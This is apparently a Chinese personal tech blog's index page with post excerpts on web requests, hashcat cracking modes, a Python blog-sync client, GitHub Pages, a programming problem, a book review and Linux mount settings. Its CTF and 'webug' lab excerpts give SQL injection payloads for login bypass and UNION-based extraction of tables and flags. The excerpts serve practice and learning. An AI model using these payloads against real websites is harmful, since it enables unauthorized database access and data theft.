0%

使用chrome post方法发送数据

  1. 使用插件postman和客户端 一开始以为还需要安装客户端,臃肿不好用,但是上手简单一试,发现还是可以,不仅仅可以用来调试网页应用程序,用来测试网站的接口,看json数据,测试爬虫也是蛮不错的
  2. 其实上面的方式类似于使用postman插件作为代理,使用postman客户端进行抓包修改,所以burpsuite没的说,肯定可以用
  3. 使用chrome 开发者工具fetch 超级详细的解释
  4. 使用xmlHttprequest() 上面的那篇文章提到过
  5. 控制台,network面板的copy as curl

hash的使用及其相关

原因是我在玩hackthissite realistic的时候,遇到了一道题目是破解hash,看论坛上说是爆破就可以,但是我爆破了两个小时也没有效果,看了有人说是hash破解最快的方式是彩虹表,但是看看了彩虹表大多是100多个g,想想我就放弃了,最后是因为我要解密的hash是md4,我当做md5解,hashidentifier可以用来检验hash的类型

hashcat 官方wiki
我hashcat的版本

1
2
3
C:\Users\kele\Desktop
> hashcat64 --version
v4.0.1
hashcat 有四种基本的破解方式: 1. 字典破解 2. 组合字符串破解 3. 暴力破解(弃用)--mask attack(掩码破解) 4. 混合破解 还有基于规则的破解方式,还有切换大小写的不过可以归为规则破解

字典破解

-a 0 -m type hashfile dictionary1 dictionary2
貌似还可以用gpu加速

阅读全文 »

sql注入习题

来源于ctfs.me的一道习题,实在做不出来,google了wp,发现这道题目是引自于其他习题集了,而且原题目是有源码的。。。于是趁机把他的题目做了一遍
## level1 这道题目其实没有源码也是可以做的,不过需要简单思考一下
$query = "SELECT * FROM secrets WHERE session_id = '" . $_POST['session_id'] . "'"; 这个语句,我们需要让where 后面的为true,所以我们需要用到or,比较简单的题目
payload:1' or 1=1 #
在get your secrets里面输入,就可以得到所有的secrets,第一个就是flag

level2

这道题目在ctfs.me上很坑,我不晓得大佬是怎么做的。 假如不给源码,我首先想到的是万能密码登陆,一顿操作之后,发现注入点在用户名的位置登陆不了,gg
换思路,考虑这个登陆的回显
payload:username:1'order by 1# &password=dd
回显: username/password is invalid
payload:`username:1'order by 2# &password=dd' 回显: invalid sql query

可以知道只有一列,所以我们可以看看回显的位置
payload: username=1' union select 1 -- -&password=dd
回显。。。,回显出flag了,但是页面显示的不是真正的,查看源码发现另一个flag,get!

阅读全文 »

metaweblog API csdn python 实现

一直想同步三个博客,梦想很大,一直在找各种工具,但是一个也没有遇到,今天突然发现了一个叫作open live writer的东西,仔细研究了一下发现是一种叫做Metaweblog API的东西,cnblog 和csdn都是支持的,到github上看了一下,发现了python实现cnblog metaweblog api的程序,所以研究了一下,写出了csdn的api

#coding:utf-8
import xmlrpclib
import os
import sys
import markdown2
import httplib
import mimetypes

username=""
password=""
url="http://write.blog.csdn.net/xmlrpc/index"

#server=xmlrpclib.ServerProxy(url)


class metaWeblog_csdn:
    def __init__(self,url,username,password):
        self.url=url
        #print url,username,password
        #self.p=Proxy()
        #self.p.set_proxy("127.0.0.1:8888")
        self.user=username
        self.passwd=password
        self.server=xmlrpclib.ServerProxy(url,encoding="utf-8")
        self.blog_id=self.getUsersBlogs()[0]['blogid']
        #print self.blog_id
        self.type=["original","report","translated"]

    def newPost(self,title,description,categories,publish):
        return self.server.metaWeblog.newPost(self.blog_id,self.user,self.passwd,
            dict(title=title,description=description,categories=categories),publish)

    def getPost(self,postid):
        return self.server.metaWeblog.getPost(postid,self.user,self.passwd)

    def getCategories(self):
        return self.server.metaWeblog.getCategories(self.blog_id,self.user,self.passwd)

    def getRecentPosts(self,numberOfPosts):
        return self.server.metaWeblog.getRecentPosts(self.blog_id,self.user,self.passwd,numberOfPosts)
    
    def editPost(self,postid,title,content,categories,tags,publish,type=0,description=""):
        return self.server.metaWeblog.editPost(postid,self.user,self.passwd,
            dict(title=title,type=self.type[type],description=description,content=content,categories=",".join(categories),tags=",".join(tags)),publish)

    def newMediaObject(self,abspath):
        with open(abspath,"rb") as f:
            bits=xmlrpclib.Binary(f.read())
        type=mimetypes.guess_type(abspath)[0]
        name=os.path.basename(abspath)
        return self.server.newMediaObject(self.blog_id,self.user,dict(bits=bits,name=name,type=type))

    def getUserInfo(self):
        return self.server.blogger.getUserInfo("0123456789ABCDEF",self.user,self.passwd)

    def deletePost(self,postid,publish):
        return self.server.blogger.deletePost("0123456789ABCDEF",postid,self.user,self.passwd,publish)
    
    def getUsersBlogs(self):
        return self.server.blogger.getUsersBlogs("0123456789ABCDEF",self.user,self.passwd)

# 只是为了通过fiddler的代理进行通信,进行抓包调试
class Proxy(xmlrpclib.Transport):
    def set_proxy(self, proxy):
        self.proxy = proxy

    def make_connection(self, host):
        self.realhost = host
        h = httplib.HTTPConnection(self.proxy)
        return h

    def send_request(self, connection, handler, request_body):
        connection.putrequest("POST", 'http://%s%s' % (self.realhost, handler))

    def send_host(self, connection, host):
        connection.putheader('Host', self.realhost)






if __name__=="__main__":
    if len(sys.argv)!=3:
        print "error"
    else:
        test=metaWeblog_csdn(url,username,password)
        test.newPost(sys.argv[1],markdown2.markdown_path(sys.argv[2]),[""],True)

'''
else:
        test=metaWeblog_csdn(url,username,password)
        with open(sys.argv[2],"r") as blog: 
            test.newPost(title,description,[""],True)


if __name__=="__main__":
    test=metaWeblog_csdn(url,username,password)
    #temp=test.getCategories()[0]
    #for i in temp:
    # print i+":"+temp[i].encode("utf-8")
    #print getblogid()[0]['blogid']
# print test.getUserInfo()
    #print os.listdir("./")
    print test.getCategories()

    #print test.getUsersBlogs()
    #print test.getRecentPosts()
    #print test.getUserInfo()
    
    #print html.encode("utf-8")
    #print test.newPost("test","test","笔记","test",True,html.encode("utf-8"),0)
    try:
        #print test.newPost("test","tests",["笔记"],["tests"],True,"test",0)
    except:
        print "erro"
'''

比较坑的一点是发送categories的时候必须是一个列表,所以他会转化成为xmlrpclib中的array类型,然后才能正常发送,否则会一直爆500 错误

xmlrpclib 代理

阅读全文 »

使用github静态页面和jekyll引擎搭建个人博客

初步认识github的静态页面

官方文档←点击
大体意思就是github提供了一个静态页面功能,你不需要服务器,你可以使用jekyll主题来发布你的网站,需要注意的是github提供的是静态页面功能,所以是不支持使用动态网站语言的,例如php,ruby,python
github静态页面有这么几个特点: 1. 域名是{你的用户名}.github.io 1. 仓库的大小显示是1GB,理论上来说是够用的
1. 每个月的带宽流量显示是100GB,理论上来说也是够用的

第一步:创建github账号,初始化仓库

  • 第一步 2018-01-29-13-15-01-2018129
    如图所示,输入username,email,password进行注册,username的选定一定要慎重,因为username关乎你的博客域名(虽然你可以通过后期绑定域名修改),但是一定要慎重啊。:smile:

  • 第二步 2018-01-29-13-18-10-2018129 创建一个新的仓库(New repositorie),然后 在新建仓库名称的时候一定要注意吗,你的仓库名称一定要是你的{用户名}.github.io,然后你才可以通过github创建你的静态页面,然后通过http://username.github.io (这里的username用自己的代替)进行访问
    2018-01-29-13-20-53-2018129
    我这里已经创建了一个,所以会报错,假如你的没有什么问题,点击最后的create repositorie绿色按钮就可以了

阅读全文 »

PAT-1008 Elevator

1008. Elevator (20)
时间限制
400 ms
内存限制
65536 kB
代码长度限制
16000 B
判题程序
Standard
作者
CHEN, Yue
The highest building in our city has only one elevator. A request list is made up with N positive numbers. The numbers denote at which floors the elevator will stop, in specified order. It costs 6 seconds to move the elevator up one floor, and 4 seconds to move down one floor. The elevator will stay for 5 seconds at each stop.

For a given request list, you are to compute the total time spent to fulfill the requests on the list. The elevator is on the 0th floor at the beginning and does not have to return to the ground floor when the requests are fulfilled.

Input Specification:

Each input file contains one test case. Each case contains a positive integer N, followed by N positive numbers. All the numbers in the input are less than 100.

Output Specification:

For each test case, print the total time on a single line.

Sample Input:
3 2 3 1
Sample Output:
41

超级简单的题目,但是我第一遍翻车了QAQ,仔细思考发现漏了一种情况,就是两个zz的目的地是同一楼层,但是他不下电梯,所以电梯会继续停留5秒在当前楼层,for example:

input: 3 2 3 3 1 output: 33

ps:还要注意这个题目的默认楼层是0层...

阅读全文 »

webug play 姿势

入门

  1. sql注入payload
    感觉100年没做过sql注入了 首先爆列数,使用order by ,http://192.168.86.128/pentest/test/sqli/sqltamp.php?gid=1'order by 4 %23,注释只能使用#的url转码也就是%23 然后:
    http://192.168.86.128/pentest/test/sqli/sqltamp.php?gid=1%27union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
    获得表名:flag
    http://192.168.86.128/pentest/test/sqli/sqltamp.php?gid=1%27union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='flag' %23
    获得列名flag
    http://192.168.86.128/pentest/test/sqli/sqltamp.php?gid=1%27union%20select 1,2,3,flag from flag%23
    获得flag

  2. 应该是一道misc的题目,首先使用binwalk 跑一遍,发现一个rar,dd提取出来,解压,一个txt内容是密码是密码123,想了半天,觉得应该是图片的隐写,百度无果,自己动手,丰衣足食,使用stegdetect检测,发现jphide的可能性最大,所以使用Jpseek提取,密码错误。。。。。。使用stegbreak爆破密码,无果,放弃。。。。。
    ps: 我还考虑过ntfs流,无果

  3. 打开之后,

《西部招妻》

真实自有千钧之力 --柴静  

《西部招妻》这本书是我偶然发现的,实在心情不好,所以逃了一节物理课,掏出kindle在墨水河旁边的长凳上看柴静的《看见》,看到柴静讲马宏杰的《最后的耍猴人》,讲述了耍猴人和猴之间的关系并不是我们想象中的驱使关系,而是互惠互利的关系。所以突然对于这种纪实的文学和摄影作品有很大的兴趣,随即去了图书馆,翻来翻去,找到了《西部招妻》这本书。

书中主要讲述了两个人,马宏杰的亲戚老三和一个来信请求帮助的读者刘祥武。老三小时候得过小儿麻痹症,因为治不起,导致左手和腿脚有毛病,一直到三十岁,都没找到老婆。故事就从老三找老婆开始,一直持续了几十年,差点耗尽了整个家庭的所有积蓄。作者马宏杰在故事中的角色扮演的特别奇妙,他既是一个记录者,不能加入任何自己的个人情感,另一方面,他又是老三的亲戚,自然需要偶尔帮个忙。老三找到的第一个老婆是一个憨媳妇,实际就是智力有问题的姑娘,但是这个憨姑娘死活不和老三同房,所以老三没有任何办法,老三一开始给她下药,结果药对老三无效,有人给老三家庭提建议,说把憨姑娘绑起来,但是老三的母亲不忍心,所以只能离婚。老三还有个亲戚在宁夏,亲戚的母亲是个老媒婆,答应给老三找个媳妇。老媒婆收养孩子,收养来的女孩子可以嫁出去赚好大一笔彩礼费,作者在这里并没有表达任何的个人情感,因为很难评论,一方面老媒婆救活了这些孩子,但另一方面,老媒婆可能只是把他们当做一种盈利的工具。

西部当时还没有西部大开发战略,穷的叮当响,水更是缺乏的要命,被子全是黑的。老媒婆领养的孩子的零食是放在炕底下的菜叶子,没错这个算是零食。所以来说老三的家庭在西部这里算是好的,老三家庭水源充足对于当地姑娘算是一个十分诱人的条件了。通过几次见面,老三成功看中了一个姑娘,姑娘也看中了老三,虽然彩礼很多,但是为了老三能够成家,老三的家庭同意了巨额的彩礼,但是因为老媒婆想要从中在赚600元,导致老三家是在无法承受,到时这个婚事黄了。经过几次婚姻,老三最终和一个姑娘结婚了,在经历过一段新婚的甜蜜之后,姑娘苦尽甘来,好吃懒做的习性就暴露出来了,最后吵着闹着要回家看看,老三家给了她100块路费,但是她不认识100元,所以只能换成两张50的。自此之后,再也没回来。再后来,老三再娶妻,遭遇到了放鹰(骗婚),老三父亲被气病了。经历了许多次波荡之后,当初那个好吃懒做的姑娘的父亲决定把她在嫁出去,但是她觉得还是老三家的条件比较好,所以有主动回来了,至此,老三也终于找到了自己的归宿。

阅读全文 »

特殊的矩阵格式转化为图片

产生矩阵


附件下载

import struct
with open(r"pic.bin","wb") as file: #打开文件的模式必须是b,否则会在读取过程中EOF提前出现
    for i in xrange(3):
        print struct.unpack("I",file.read(4))#file read 每次读入4个字节,一个字节有8位, 也就是32位,然后使用struct模块将32数据变成一个32整数,打印出矩阵的信息来

    row=253
    col=380
    feiling=92760

    list=[[0]*col for i in xrange(row)]
    for i in xrange(feiling):
        row1=struct.unpack("I",file.read(4))
        line1=struct.unpack("I",file.read(4))
        num=struct.unpack("d",file.read(8))
        list[row1[0]-1][line1[0]]=num[0]

这个样子虽然能够产生矩阵,但是对于题目意义不大,因为这个矩阵是list二维数组,后期没用过,我直接使用PIL库转化成图片了...,我觉得题目的要求应该是使用numpy和matplotlib包进行绘制图形

阅读全文 »

linux mint fstab的问题

  • mount 命令是用来挂载磁盘的;umount 命令使用来卸载磁盘的   
  • 把一个磁盘挂在到一个文件夹之后,这个文件夹的内容就变成了磁盘的内容,而原来的内容就会无法访问了   
  • linux Mint 默认把磁盘挂在到/media/kele/目录下面,访问起来特别麻烦,所以我打算把磁盘挂在到\(HOME路径下面(\)HOME指的是/home/user/ 目录)

sudo fdisk -l 查看磁盘设备 blkid 查询磁盘uuid sudo vim /etc/fstab 添加一行 /dev/sdb7 /home/kele/hapi/ ntfs 0 0 注意hapi是我手动新建的文件夹,不能直接挂载到/home/kele下面,否则开机找不到用户目录,轻则系统变为初始状态,重则无法开机,但是加入你改错了,只要改回去就可以了,方法
之后开机系统就会自动挂在目录到用户目录下面了

hibernate找不到了

linux mint 有一个叫做suspend to disk(实为hibernate) 的功能,但是今天突然找不到了,于是就很尴尬,Google得知hibernate功能需要足够大的swap分区,于是使用 free -h查看swap分区,突然发现swap分区大小为0,仔细思考,发现是修改fstab的时候不小心,删除了自动挂载的swap分区,于是重新添加就可以了 /dev/sdb5 swap swap default 0 0 然后就可以看到重逢的suspend to disk 了

阅读全文 »